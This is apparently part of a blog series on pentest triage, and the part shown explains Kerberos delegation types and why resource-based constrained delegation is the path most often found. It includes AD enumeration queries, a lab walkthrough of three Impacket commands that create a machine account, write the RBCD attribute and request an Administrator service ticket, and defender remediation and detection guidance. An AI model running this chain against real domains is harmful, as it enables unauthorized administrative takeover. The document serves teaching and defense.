Series · 4 partsInternal Network TriagePart 3 · You are here
  1. 1Kerberoasting Triage: Most Service Tickets Are a Waste of Your Time
  2. 2SMB Signing Is On. That Closed One Edge, Not the Graph.
  3. 3Delegation Triage: You Were Taught the Rare OneYou are here
  4. 4BloodHound Path Triage: The Shortest Path Is Usually the One That Expires First

Kerberos delegation in 60 seconds

Every Kerberos delegation lesson starts in the same place: unconstrained delegation, a diagram of a TGT riding along inside a service ticket, and a note that this is very bad. It is very bad. It is also the one you are least likely to find.

The order things get taught in is almost exactly the inverse of the order you meet them.

Three mechanisms, one sentence each

Unconstrained. The account can impersonate anyone who authenticates to it, to anything. The user’s TGT is handed over inside the service ticket. Flag lives in userAccountControl.

Constrained. The account can impersonate users, but only to a fixed list of SPNs in msDS-AllowedToDelegateTo. Whether it can do that without the user ever authenticating depends on a second flag — protocol transition — and that flag matters far more than the list does.

Resource-based (RBCD). The permission is stored on the target, in msDS-AllowedToActOnBehalfOfOtherIdentity, and it names who may impersonate users to it. The target decides who can delegate to it, not the other way round.

That last inversion is the whole story.

Why the prevalence is upside down

Unconstrained delegation is rare in a maintained domain because it is legible. It is a single bit, it has been on every hardening checklist for a decade, it lights up in every audit tool, and modern deployments do not create it. When you do find it, it is usually on something old that nobody dares touch.

Constrained delegation is more common, because it is what people were told to migrate to. It is also frequently misread. The SPN list looks like a tight boundary and is not one: the service class portion of the target SPN is not what gets enforced, so a delegation granted for cifs/host is generally usable against other services on the same host. The list constrains which machine, not what you can do there.

RBCD is the one you actually find, and the reason is structural. It is not a setting an administrator chose. It is a consequence of who can write to a computer object. Any principal with GenericWrite, GenericAll, WriteProperty, or WriteDACL over a computer can populate that attribute themselves. Every over-permissioned helpdesk group, every delegated OU, every stale “workstation admins” nesting is a latent RBCD path — and none of them show up in a query for delegation flags, because there is no flag to find.

The same mechanism, one object class up, is what makes certificate template write access an escalation path too — the ESC4 story is the identical finding wearing a PKI hat: the permission is the vulnerability, not the setting it lets you create.

THE PATH THAT DOES NOT EXIST UNTIL THE ATTACKER CREATES IT low-priv user GENERICWRITE over WS01$ ATTACK$ principal + SPN quota or existing WS01$ object msDS-AllowedToAct… ATTACKER-WRITTEN S4U2Proxy cifs/WS01 IMPERSONATION CONTROL BOUNDARY — WHICH MEASURE BREAKS WHICH PART machine quota = 0 blocks easy account creation not an existing SPN Protected Users blocks tier-0 impersonation does not remove write remove the ACE BREAKS THE ROOT CAUSE retest DACL + attribute
RBCD is not a dangerous flag waiting to be discovered. It is a write path that lets an attacker manufacture the flag. Quota and Protected Users narrow the path; removing the effective write right is the control that actually closes it.

The query for the third one is a different kind of question

For the first two you ask the directory for a state. For the third you have to ask about permissions, which is why it gets missed by anyone working from a flag checklist.

# Unconstrained — a bit in userAccountControl
Get-ADObject -LDAPFilter '(userAccountControl:1.2.840.113556.1.4.803:=524288)' `
             -Properties samAccountName, objectClass

# Constrained — and the flag that actually matters
Get-ADObject -LDAPFilter '(msDS-AllowedToDelegateTo=*)' `
             -Properties samAccountName, msDS-AllowedToDelegateTo, userAccountControl |
  Select-Object samAccountName, msDS-AllowedToDelegateTo,
    @{ n = 'ProtocolTransition'; e = { [bool]($_.userAccountControl -band 0x1000000) } }

# RBCD — already configured
Get-ADComputer -LDAPFilter '(msDS-AllowedToActOnBehalfOfOtherIdentity=*)' `
               -Properties msDS-AllowedToActOnBehalfOfOtherIdentity

The last query only finds delegation that already exists. The one that matters is the inverse: which principals can create it. That is a DACL question over every computer object, and it is where the actual attack paths are.

Two more values decide whether a path is walkable, and both are one lookup away:

# How many computer accounts an ordinary user may create (default 10)
Get-ADObject -Identity (Get-ADDomain).DistinguishedName -Properties ms-DS-MachineAccountQuota

# Accounts that cannot be impersonated at all
Get-ADUser -LDAPFilter '(userAccountControl:1.2.840.113556.1.4.803:=1048576)'
Get-ADGroupMember 'Protected Users'

A quota of zero does not close the path. It removes the convenient way to get a principal with an SPN; any account you already control that has one will do.

Walking it in the lab

Starting position: a low-privileged user that holds GenericWrite over a workstation object. No delegation is configured anywhere. Nothing in a flag-based audit would flag this host.

$ addcomputer.py -computer-name 'ATTACK$' -computer-pass 'Lab-Passw0rd!' \
    -dc-ip 10.0.0.10 lab.local/lowpriv:'...'
[*] Successfully added machine account ATTACK$

$ rbcd.py -delegate-from 'ATTACK$' -delegate-to 'WS01$' -action write \
    -dc-ip 10.0.0.10 lab.local/lowpriv:'...'
[*] Delegation rights modified successfully!
[*] ATTACK$ can now impersonate users on WS01$ via S4U2Proxy

$ getST.py -spn 'cifs/ws01.lab.local' -impersonate Administrator \
    -dc-ip 10.0.0.10 'lab.local/ATTACK$:Lab-Passw0rd!'
[*] Getting TGT for user
[*] Impersonating Administrator
[*] Saving ticket in Administrator@[email protected]

Three commands from “can edit an object” to “am administrator on that host”. The delegation did not exist before the second command; the attacker created it. That is why hunting for configured delegation misses this entirely.

Evidence matrix

SignalWhat it provesNegative controlDefender verification
Effective GenericWrite, WriteProperty, or WriteDACL over WS01$The principal can create the RBCD condition; this is the root-cause edgeRemove the ACE or inheritance path and confirm the same principal can no longer modify the objectRecalculate effective access on the computer and its parent OU, including nested group membership
An SPN-bearing principal controlled by the testerThe path has an identity Kerberos can delegate fromSet machine-account quota to zero and repeat with no previously controlled SPN accountReview ms-DS-MachineAccountQuota, computer creation events, and ownership of existing service principals
msDS-AllowedToActOnBehalfOfOtherIdentity changes from empty to the controlled SIDThe latent write edge was converted into active RBCDRestore the original attribute and confirm the S4U request failsEnable Directory Service Changes auditing and alert on writes to the attribute
S4U service ticket succeeds for a non-protected test identityThe chain is operational to the named service on the targetRepeat with a Protected Users or non-delegable lab identity and expect rejectionValidate ticket events and confirm tier-0 identities are marked sensitive and cannot be delegated

The pattern I keep seeing

The write permission is almost never granted deliberately for computers. It arrives as collateral — a group that was given broad rights over an OU so that someone could join machines to the domain or push an agent, and then kept those rights after the project ended. The permission outlives the reason for it, and nobody revisits it because nothing visibly breaks.

So the finding is rarely “delegation is misconfigured”. It is “this group can rewrite computer objects, and here is what that turns into”. Written the first way it gets closed by deleting one attribute. Written the second way it gets closed properly.

What to hand the defenders

Three concrete things, in this order:

The DACL, not the delegation. Name the principals with write access over computer objects and the OUs where it applies. That is the root cause; the delegation attribute is just the payload.

The quota. ms-DS-MachineAccountQuota at its default of 10 lets any authenticated user manufacture the principal this attack needs. Setting it to 0 and delegating machine-join rights to a specific group removes the easy path and costs nothing operationally.

The accounts that must never be impersonated. Protected Users membership and the “sensitive and cannot be delegated” flag on tier-0 accounts. These do not fix the DACL, but they cap what a successful delegation attack can reach — which matters because the DACL cleanup is the slow part.

The unconstrained finding, if you get one, writes itself. This one only lands if you explain that the vulnerability was a permission, not a setting. You can model these delegation chains, MachineAccountQuota states, and Protected Users boundaries interactively in the Active Directory Delegation Risk Resolver.

Sources & freshness

How current is this note?

Sources checkedApril 24, 2025

The latest source-review, content-update, or publication date is shown.

ReviewAuthor review complete

The author completed a technical review. This does not, by itself, claim lab reproduction.